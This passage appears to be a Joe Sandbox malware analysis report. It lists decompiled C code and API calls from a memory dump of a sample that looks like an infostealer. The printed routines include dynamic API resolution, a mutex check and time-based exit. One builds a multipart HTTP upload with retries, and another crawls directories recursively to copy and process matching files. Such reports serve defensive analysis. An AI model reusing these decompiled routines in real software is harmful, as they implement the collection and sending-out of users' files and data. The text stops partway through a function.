Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNELBASE(00000000,00000000,00765598,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767880), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767940), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00765318), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007678B0), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767910), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767970), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767A18), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767820), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767838), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767A48), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767A60), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767850), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767A78), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,007653D8), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00767B38), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00765578), ref: 0040C62A

CreateThread.KERNELBASE(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,00765338), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00570DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00570223,?,?), ref: 00570E02
SetErrorMode.KERNELBASE(00000000,?,?,00570223,?,?), ref: 00570E07

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 02da20957aeb4dec3ee56efd800c1bb5026d07a1b57d02733b98a788d3f53bce
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: EBD0123114512CB7D7002B94DC09BCD7F5C9F05B66F008011FB0DD9181C7B0994047E5

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x765598
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000000,00765598,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 00570920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00570929

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction ID: 30f3d7182eefe4c983e93399632d1765ae8032794c4adb82b9e2ac84a56656d9
Opcode Fuzzy Hash: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction Fuzzy Hash: EE90026074415011D82025AC0C02B0500121751634F344B107130AD1E4D840D6400115

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404BE0, Relevance: 117.6, APIs: 56, Strings: 11, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				void* _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_v1552 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000);
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x747030
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x768168
							_t219 =  *0x41a590; // 0x765be0
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
							_t239 =  *0x41a2d8; // 0x768168
							_t207 =  *0x41a590; // 0x765be0
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x7662c8
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x765a80
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x747070
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x766268
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x766058
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_v6840 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560);
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,00762398,007654F8,00766768,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,00747030), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,00765BE0,?,00768168,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,00765BE0,?,00768168,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,007662C8), ref: 00404E78
lstrcat.KERNEL32(?,00765A80), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,00747070), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,00766268), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,00766058), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

", xrefs: 00404E91
0pt, xrefs: 00404D32
", xrefs: 00404F23
[v, xrefs: 00404DDA, 00404E0B
200, xrefs: 004050AF
X`v, xrefs: 00404F5A
------, xrefs: 00404CE8, 00404E32, 00404EC6
, xrefs: 00404F6D
ppt, xrefs: 00404EFE
https://, xrefs: 00404C94
hbv, xrefs: 00404F35

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$------$0pt$200$X`v$hbv$https://$ppt$[v
API String ID: 3074752877-3861435940
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x7681f8
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0x768d08
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x767f58
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x768cf8
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1);
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388);
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1);
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124);
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24);
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20);
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596);
					__eflags = _t124;
				} while (_t124 != 0);
				return FindClose(_v272);
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\%s, xrefs: 00408866
%s\*, xrefs: 004087ED

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
